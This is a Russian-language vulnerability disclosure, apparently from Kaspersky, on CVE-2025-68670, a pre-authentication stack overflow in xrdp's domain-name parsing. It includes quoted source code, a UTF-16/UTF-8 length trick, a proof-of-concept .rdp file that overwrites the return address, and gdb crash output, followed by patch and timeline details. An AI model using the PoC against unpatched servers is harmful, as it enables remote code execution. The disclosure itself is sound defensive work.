В дополнение к решениям на базе KasperskyOS «Лаборатория Касперского» предлагает различное вспомогательное ПО, облегчающее работу бизнесу. Например, пользователи Kaspersky Thin Client — операционной системы для тонких клиентов — могут также приобрести Kaspersky USB Redirector — модуль расширения возможностей сервера удаленных рабочих столов xrdp для Linux. Он помогает обеспечить доступ к локальным USB-устройствам (флеш-накопителям, токенам, смарт-картам и принтерам) в сеансе удаленного рабочего стола. Естественно, сохраняя при этом безопасность подключения.
Мы ответственно подходим к безопасности наших продуктов и регулярно проводим анализ их защищенности. Kaspersky USB Redirector — не исключение. В прошлом году в рамках мероприятий по анализу защищенности этого решения мы обнаружили уязвимость удаленного выполнения кода в сервере xrdp, которая получила идентификатор CVE-2025-68670. Мы сообщили о находке мейнтейнерам проекта, и они оперативно отреагировали: исправили уязвимость в версии 0.10.5, портировали патч в версии 0.9.27 и 0.10.4.1 и выпустили бюллетень безопасности. В этой статье мы расскажем, в чем состоит CVE-2025-68670, и дадим рекомендации по защите.
Передача клиентских данных по протоколу RDP
Установка соединения по протоколу RDP — сложный многоэтапный процесс, в ходе которого клиент и сервер обмениваются различными настройками. В контексте найденной уязвимости нас интересует обмен защищенными настройками (Secure Settings Exchange), который происходит непосредственно перед аутентификацией клиента. На этом этапе клиент передает серверу защищенные учетные данные в сообщении Client Info PDU (блок данных протокола с информацией о клиенте): имя пользователя, пароль, cookie-файл для автоматического возобновления подключения и т. д. Эти данные объединены в структуру TS_INFO_PACKET и могут быть представлены в виде Unicode-строк длиной до 512 байт, последний из которых обязательно равен нулю. В коде xrdp этой структуре соответствует структура xrdp_client_info, которая выглядит следующим образом.
|
1 2 3 4 5 6 7 8 9 |
struct xrdp_client_info { [..SNIP..] char username[INFO_CLIENT_MAX_CB_LEN]; char password[INFO_CLIENT_MAX_CB_LEN]; char domain[INFO_CLIENT_MAX_CB_LEN]; char program[INFO_CLIENT_MAX_CB_LEN]; char directory[INFO_CLIENT_MAX_CB_LEN]; [..SNIP..] } |
Значение константы INFO_CLIENT_MAX_CB_LEN соответствует максимальной длине строки и задается следующим образом.
|
1 |
#define INFO_CLIENT_MAX_CB_LEN 512 |
Клиент при передаче Unicode-данных использует формат UTF-16. При этом на сервере эта информация перед сохранением конвертируется в UTF-8.
|
1 2 3 4 5 |
if (ts_info_utf16_in( // [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2] { [..SNIP..] } |
Размер буфера для распаковки имени домена в кодировке UTF-8 [2] передается функции ts_info_utf16_in [1], в которой реализована защита от его переполнения [3].
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len) { int rv = 0; LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len); if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in")) { rv = 1; } else { int term; int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2, dst, dst_len); if (num_chars > dst_len) // [3] { LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1; } / / String should be null-terminated. We haven't read the terminator yet in_uint16_le(s, term); if (term != 0) { LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term); rv = 1; } } return rv; } |
Далее функция in_utf16_le_fixed_as_utf8_proc, где происходит собственно конвертация данных из UTF-16 и UTF-8, проверяет количество записанных байт [4], а также то, что строка заканчивается нулевым байтом [5].
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
{ unsigned int rv = 0; char32_t c32; char u8str[MAXLEN_UTF8_CHAR]; unsigned int u8len; char *saved_s_end = s->end; // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK parser_stream_overflow_check(s, n * 2, 0, file, line); #endif // Temporarily set the stream end pointer to allow us to use // s_check_rem() when reading in UTF-16 words if (s->end - s->p > (int)(n * 2)) { s->end = s->p + (int)(n * 2); } while (s_check_rem(s, 2)) { c32 = get_c32_from_stream(s); u8len = utf_char32_to_utf8(c32, u8str); if (u8len + 1 <= vn) // [4] { /* Room for this character and a terminator. Add the character */ unsigned int i; for (i = 0 ; i < u8len ; ++i) { v[i] = u8str[i]; } v n -= u8len; v += u8len; } else if (vn > 1) { /* We've skipped a character, but there's more than one byte * remaining in the output buffer. Mark the output buffer as * full so we don't get a smaller character being squeezed into * the remaining space */ vn = 1; } r v += u8len; } // Restore stream to full length s->end = saved_s_end; if (vn > 0) { *v = '\0'; // [5] } + +rv; return rv; } |
Соответственно, до 512 байт входных данных в кодировке UTF-16 конвертируются в данные в UTF-8, размер которых также может составлять до 512 байт.
CVE-2025-68670 — RCE-уязвимость в xrdp
Уязвимость содержится в функции xrdp_wm_parse_domain_information, которая обрабатывает сохраненное на сервере в кодировке UTF-8 имя домена. Эта функция, как и описанные выше, вызывается до аутентификации клиента, то есть для эксплуатации аутентификация не нужна. Ниже представлен стек вызовов, где это видно.
|
1 2 3 4 5 6 7 |
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax, int decode, char *resultBuffer) xrdp_login_wnd_create(struct xrdp_wm *self) xrdp_wm_init(struct xrdp_wm *self) xrdp_wm_login_state_changed(struct xrdp_wm *self) xrdp_wm_check_wait_objs(struct xrdp_wm *self) xrdp_process_main_loop(struct xrdp_process *self) |
Фрагмент кода, в котором вызывается уязвимая функция, выглядит следующим образом.
|
1 2 3 4 5 6 7 |
char resultIP[256]; // [7] [..SNIP..] combo->item_index = xrdp_wm_parse_domain_information( self->session->client_info->domain, // [6] combo->data_list->count, 1, resultIP /* just a dummy place holder, we ignore */ ); |
Как можно видеть, первый аргумент функции в строке [6] — это имя домена длиной до 512 байт. Последний аргумент — буфер resultIP размером 256 байт (это можно видеть в строке [7]). Теперь посмотрим, что делает с этими аргументами непосредственно уязвимая функция.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
static int xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax, int decode, char *resultBuffer) { int ret; int pos; int comboxindex; char index[2]; /* If the first char in the domain name is '_' we use the domain name as IP*/ ret = 0; /* default return value */ /* resultBuffer assumed to be 256 chars */ g_memset(resultBuffer, 0, 256); if (originalDomainInfo[0] == '_') // [8] { /* we try to locate a number indicating what combobox index the user * prefer the information is loaded from domain field, from the client * We must use valid chars in the domain name. * Underscore is a valid name in the domain. * Invalid chars are ignored in microsoft client therefore we use '_' * again. this sec '__' contains the split for index.*/ pos = g_pos(&originalDomainInfo[1], "__"); // [9] if (pos > 0) { /* an index is found we try to use it */ LOG(LOG_LEVEL_DEBUG, "domain contains index char __"); if (decode) { [..SNIP..] } / * pos limit the String to only contain the IP */ g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10] } else { LOG(LOG_LEVEL_DEBUG, "domain does not contain _"); g_strncpy(resultBuffer, &originalDomainInfo[1], 255); } } return ret; } |
Как видно в коде, если первый символ доменного имени совпадает с «_» (строка [8]), то в буфер resultIP записывается часть доменного имени, начиная со второго символа и заканчивая символами «__» (строка [9]). Поскольку размер доменного имени может достигать 512 байт, даже будучи сформировано корректно, оно может не поместиться в буфере (строка [10]). Как следствие, «лишние» данные запишутся в стек потока, потенциально модифицируя адрес возврата. Если злоумышленник составит доменное имя так, что буфер на стеке будет переполнен и адрес возврата будет подменен значением, подконтрольным атакующему, то при возврате из уязвимой функции поток исполнения изменится в соответствии с намерениями злоумышленника, и он сможет исполнить произвольный код в контексте скомпрометированного процесса (в нашем случае — xrdp-сервера).
Чтобы воспользоваться уязвимостью, атакующему достаточно задать такое имя домена, чтобы после конвертации в UTF-8 между символами «_» и «__» в нем содержалось более 256 байт. Учитывая, что конвертация происходит по определенным правилам, которые легко найти в интернете, это несложная задача — достаточно воспользоваться тем, что длина одной и той же строки в UTF-8 и UTF-16 может различаться. Если коротко, то для этого надо избегать ASCII и некоторых других символов, которые в UTF-16 могут занимать больше места, чем в UTF-8, и при этом не злоупотреблять символами, которые, напротив, после конвертации занимают больше места. Если размер доменного имени в UTF-8 превысит положенные 512 байт, будет ошибка конвертации.
PoC
В качестве PoC для обнаруженной уязвимости мы создали следующий файл .rdp, содержащий IP-адрес RDP-сервера и длинное доменное имя, которое должно спровоцировать переполнение буфера. В доменном имени мы использовали такое количество символов К (U+041A), которое позволит записать в адрес возврата строку «AAAAAAAA». Ниже представлено содержимое файла .rdp.
|
1 2 3 4 |
alternate full address:s:172.22.118.7 full address:s:172.22.118.7 domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0 username:s:testuser |
По нажатии на этот файл процесс mstsc.exe соединяется с указанным в нем сервером. Сервер обрабатывает данные в файле, пытается записать в буфер имя домена, что приводит к переполнению буфера и перезаписи адреса возврата. Если взглянуть на дамп памяти xrdp в момент сбоя, можно увидеть, что буфер и адрес возврата были перезаписаны. На этапе проверки стековой канарейки приложение завершает работу. Пример ниже получен с помощью дебаггера gdb.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
gef➤ bt #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44 #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78 #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89 #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26 #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79 #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156 #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26 #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24 #8 0x000063654a2e5ad5 in ?? () #9 0x4141414141414141 in ?? () #10 0x00007adb00000a00 in ?? () #11 0x0000000000050004 in ?? () #12 0x00007fff91732220 in ?? () #13 0x000000000000030a in ?? () #14 0xfffffffffffffff8 in ?? () #15 0x000000052dc71740 in ?? () #16 0x3030305f70647278 in ?? () #17 0x616d5f6130333030 in ?? () #18 0x00636e79735f6e69 in ?? () #19 0x0000000000000000 in ?? () |
Защита от эксплуатации уязвимости
Стоит отметить, что уязвимую функцию можно защитить стековой канарейкой в настройках компилятора. В большинстве компиляторов эта опция выбрана по умолчанию, поэтому просто так перезаписать адрес возврата и выполнить ROP-цепочку не получится. Чтобы воспользоваться уязвимостью, понадобится сначала получить значение канарейки.
На уязвимую функцию также ссылается функция xrdp_wm_show_edits, однако и в ее случае, если компилировать код с безопасными настройками (с использованием стековой канарейки), наиболее тривиальный сценарий эксплуатации будет нереализуем.
Тем не менее стековая канарейка — не панацея. Злоумышленник может узнать или угадать ее значение и перезаписать буфер и адрес возврата так, что сама канарейка останется без изменений. Мейнтейнеры xrdp в бюллетене безопасности, посвященном CVE-2025-68670, не рекомендуют полагаться исключительно на стековую канарейку при использовании проекта.
Хронология устранения уязвимости
- 12.2025 — Мы отправили отчет об уязвимости через https://github.com/neutrinolabs/xrdp/security
- 12.2025 — Мейнтейнеры проекта сразу подтвердили, что получили отчет и займутся им в ближайшее время
- 12.2025 — Приступили к изучению и приоритизации уязвимости
- 12.2025 — Мейнтейнеры подтвердили уязвимость и начали патчить
- 12.2025 — Уязвимость получила идентификатор CVE-2025-68670
- 01.2026 — Патч опубликован в основной ветке проекта
Заключение
Ответственный подход к работе с кодом позволяет сделать надежнее не только наши собственные продукты, но и широко используемые проекты с открытым исходным кодом. Мы уже рассказывали о том, как в результате анализа защищенности решений на базе Kaspersky OS — Kaspersky Thin Client и Kaspersky IoT Secure Gateway — выявили целый ряд уязвимостей в Suricata и FreeRDP, которые мейнтейнеры проектов оперативно исправили. CVE-2025-68670 — это еще одна из таких историй.
Однако обнаружить уязвимость — это только полдела. Мы выражаем благодарность мейнтейнерам xrdp, которые быстро отреагировали на наше обращение, исправили уязвимость и выпустили бюллетень безопасности с описанием проблемы и опций по снижению риска.




CVE-2025-68670: как мы нашли RCE-уязвимость в xrdp